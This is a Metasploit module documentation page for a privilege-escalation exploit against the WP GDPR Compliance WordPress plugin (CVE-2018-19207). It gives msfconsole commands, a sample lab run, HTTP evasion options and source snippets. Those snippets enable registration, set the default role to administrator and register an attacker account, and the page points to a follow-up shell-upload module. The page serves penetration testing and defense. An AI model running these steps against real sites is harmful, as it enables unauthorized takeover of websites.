WordPress WP GDPR Compliance Plugin Privilege Escalation - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/wp_gdpr_compliance_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: WordPress WP GDPR Compliance Plugin Privilege Escalation
Module: auxiliary/admin/http/wp_gdpr_compliance_privesc
Source code: modules/auxiliary/admin/http/wp_gdpr_compliance_privesc.rb
Disclosure date: 2018-11-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-19207
The Wordpress GDPR Compliance plugin <= v1.4.2 allows unauthenticated users to set wordpress administration options by overwriting values within the database. The vulnerability is present in WordPress’s admin-ajax.php, which allows unauthorized users to trigger handlers and make configuration changes because of a failure to do capability checks when executing the 'save_setting' internal action. WARNING: The module sets Wordpress configuration options without reading their current values and restoring them later.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Side Effects:
- config-changes: Module modifies some configuration setting on the target machine.
Basic Usage
msf > use auxiliary/admin/http/wp_gdpr_compliance_privesc
msf auxiliary(wp_gdpr_compliance_privesc) > show targets
... a list of targets ...
msf auxiliary(wp_gdpr_compliance_privesc) > set TARGET target-id
msf auxiliary(wp_gdpr_compliance_privesc) > show options
... show and set options ...
msf auxiliary(wp_gdpr_compliance_privesc) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
EMAIL: Email for registration
Knowledge Base
Description
This module exploits the Wordpress GDPR compliance plugin lack of validation (WPVDB 9144), which affects versions 1.4.2 and lower.
When a user triggers GDPR-related actions, Wordpress's admin-ajax.php
is called but fails to do validation and capacity checks regarding the asked actions. This leads to any unauthenticated user being able to modify any arbitrary settings on the targeted server.
This module changes the admin email (optional) to prevent notification sending, enables new user registration, changes the default role of new users to Administrator, and registers a new user that can be used for authentication. The attacker can then log in and take any actions on the newly compromised site.
Vulnerable Application
GDPR Compliance plugin <= 1.4.2
Verification Steps
- Install the application
./msfconsole
use auxiliary/admin/http/wp_gdpr_compliance_privesc
set RHOST [wp host]
set RPORT [wp port]
set EMAIL [email address]
run
Scenarios
Tested on Debian 9.6 running Wordpress 4.7.5 with WordPress GDPR Compliance plugin 1.4.2:
msf5 > use auxiliary/admin/http/wp_gdpr_compliance_privesc
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set verbose true
verbose => true
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set rhosts 172.22.222.145
rhosts => 172.22.222.145
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email [email protected]
email => [email protected]
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > check
[*] Checking /wp-content/plugins/wp-gdpr-compliance/readme.txt
[*] Found version 1.4.2 of the plugin
[*] 172.22.222.145:80 The target appears to be vulnerable.
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit
[*] Getting security token from host...
[!] Enabling user registrations...
[!] Setting the default user role type to administrator...
[*] Registering msfuser with email [email protected]
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) >
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Msfconsole Usage
Here is how the admin/http/wp_gdpr_compliance_privesc auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/wp_gdpr_compliance_privesc
msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > show info
Name: WordPress WP GDPR Compliance Plugin Privilege Escalation
Module: auxiliary/admin/http/wp_gdpr_compliance_privesc
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2018-11-08
Provided by:
Mikey Veenstra (WordFence)
Thomas Labadie
Module side effects:
config-changes
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EMAIL yes Email for registration
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USER msfuser yes Username for registration
VHOST no HTTP server virtual host
Description:
The Wordpress GDPR Compliance plugin <= v1.4.2 allows
unauthenticated users to set wordpress administration options by
overwriting values within the database. The vulnerability is present
in WordPress���s admin-ajax.php, which allows unauthorized users to
trigger handlers and make configuration changes because of a failure
to do capability checks when executing the 'save_setting' internal
action. WARNING: The module sets Wordpress configuration options
without reading their current values and restoring them later.
References:
https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/
https://nvd.nist.gov/vuln/detail/CVE-2018-19207
https://wpscan.com/vulnerability/9144
Module Options
This is a complete list of options available in the admin/http/wp_gdpr_compliance_privesc auxiliary module:
msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > show options
Module options (auxiliary/admin/http/wp_gdpr_compliance_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
EMAIL yes Email for registration
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USER msfuser yes Username for registration
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/wp_gdpr_compliance_privesc auxiliary module:
msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > show advanced
Module advanced options (auxiliary/admin/http/wp_gdpr_compliance_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
WPEMAIL no Wordpress Administration Email (default: no email modification)
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/wp_gdpr_compliance_privesc module can do:
msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/wp_gdpr_compliance_privesc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
- Unable to access Wordpress: <TARGET_URI.PATH>
- Changing admin e-mail address to <WPEMAIL>...
- Failed to change the admin e-mail address
- Enabling user registrations...
- Failed to enable user registrations
- Setting the default user role type to administrator...
- Failed to set the default user role
- Failed to register user
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to access Wordpress: <TARGET_URI.PATH>
Here is a relevant code snippet related to the "Unable to access Wordpress: <TARGET_URI.PATH>" error message:
74: 'method' => 'GET',
75: 'uri' => target_uri.path
76: )
77:
78: unless wp_home_res && wp_home_res.code == 200
79: fail_with(Failure::UnexpectedReply, "Unable to access Wordpress: #{target_uri.path}")
80: end
81:
82: ajax_security = wp_home_res.body[/"ajaxSecurity":"([a-zA-Z0-9]+)"/i, 1]
83:
84: if datastore['WPEMAIL'].present? && (datastore['WPEMAIL'] =~ URI::MailTo::EMAIL_REGEXP)
Changing admin e-mail address to <WPEMAIL>...
Here is a relevant code snippet related to the "Changing admin e-mail address to <WPEMAIL>..." error message:
80: end
81:
82: ajax_security = wp_home_res.body[/"ajaxSecurity":"([a-zA-Z0-9]+)"/i, 1]
83:
84: if datastore['WPEMAIL'].present? && (datastore['WPEMAIL'] =~ URI::MailTo::EMAIL_REGEXP)
85: print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
86: unless set_wp_option('admin_email', datastore['WPEMAIL'], ajax_security)
87: print_error('Failed to change the admin e-mail address')
88: return
89: end
90: end
Failed to change the admin e-mail address
Here is a relevant code snippet related to the "Failed to change the admin e-mail address" error message:
82: ajax_security = wp_home_res.body[/"ajaxSecurity":"([a-zA-Z0-9]+)"/i, 1]
83:
84: if datastore['WPEMAIL'].present? && (datastore['WPEMAIL'] =~ URI::MailTo::EMAIL_REGEXP)
85: print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
86: unless set_wp_option('admin_email', datastore['WPEMAIL'], ajax_security)
87: print_error('Failed to change the admin e-mail address')
88: return
89: end
90: end
91:
92: print_warning('Enabling user registrations...')
Enabling user registrations...
Here is a relevant code snippet related to the "Enabling user registrations..." error message:
87: print_error('Failed to change the admin e-mail address')
88: return
89: end
90: end
91:
92: print_warning('Enabling user registrations...')
93: unless set_wp_option('users_can_register', '1', ajax_security)
94: print_error('Failed to enable user registrations')
95: return
96: end
97:
Failed to enable user registrations
Here is a relevant code snippet related to the "Failed to enable user registrations" error message:
89: end
90: end
91:
92: print_warning('Enabling user registrations...')
93: unless set_wp_option('users_can_register', '1', ajax_security)
94: print_error('Failed to enable user registrations')
95: return
96: end
97:
98: print_warning('Setting the default user role type to administrator...')
99: unless set_wp_option('default_role', 'administrator', ajax_security)
Setting the default user role type to administrator...
Here is a relevant code snippet related to the "Setting the default user role type to administrator..." error message:
93: unless set_wp_option('users_can_register', '1', ajax_security)
94: print_error('Failed to enable user registrations')
95: return
96: end
97:
98: print_warning('Setting the default user role type to administrator...')
99: unless set_wp_option('default_role', 'administrator', ajax_security)
100: print_error("Failed to set the default user role")
101: return
102: end
103:
Failed to set the default user role
Here is a relevant code snippet related to the "Failed to set the default user role" error message:
95: return
96: end
97:
98: print_warning('Setting the default user role type to administrator...')
99: unless set_wp_option('default_role', 'administrator', ajax_security)
100: print_error("Failed to set the default user role")
101: return
102: end
103:
104: print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
105: unless (datastore['EMAIL'] =~ URI::MailTo::EMAIL_REGEXP) && wordpress_register(datastore['USER'], datastore['EMAIL'])
Failed to register user
Here is a relevant code snippet related to the "Failed to register user" error message:
101: return
102: end
103:
104: print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
105: unless (datastore['EMAIL'] =~ URI::MailTo::EMAIL_REGEXP) && wordpress_register(datastore['USER'], datastore['EMAIL'])
106: print_error("Failed to register user")
107: return
108: end
109:
110: vprint_good('For a shell: use exploits/unix/webapp/wp_admin_shell_upload')
111: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10952 Merged Pull Request: WP GDPR Compliance plugin exploit - privsec to admin registering
References
- https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild/
- CVE-2018-19207
- WPVDB-9144
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_custom_contact_forms
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/http/wp_symposium_sql_injection
- auxiliary/admin/http/wp_wplms_privilege_escalation
- auxiliary/gather/wp_all_in_one_migration_export
- auxiliary/gather/wp_ultimate_csv_importer_user_extract
- auxiliary/gather/wp_w3_total_cache_hash_extract
- auxiliary/scanner/http/wp_abandoned_cart_sqli
- auxiliary/scanner/http/wp_arbitrary_file_deletion
- auxiliary/scanner/http/wp_bulletproofsecurity_backups
- auxiliary/scanner/http/wp_chopslider_id_sqli
- auxiliary/scanner/http/wp_contus_video_gallery_sqli
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_learnpress_sqli
- auxiliary/scanner/http/wp_loginizer_log_sqli
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_mobile_pack_info_disclosure
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_registrationmagic_sqli
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/http/wp_total_upkeep_downloader
- auxiliary/scanner/http/wp_wps_hide_login_revealer
- auxiliary/admin/http/sophos_wpa_traversal
Authors
- Mikey Veenstra (WordFence)
- Thomas Labadie
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
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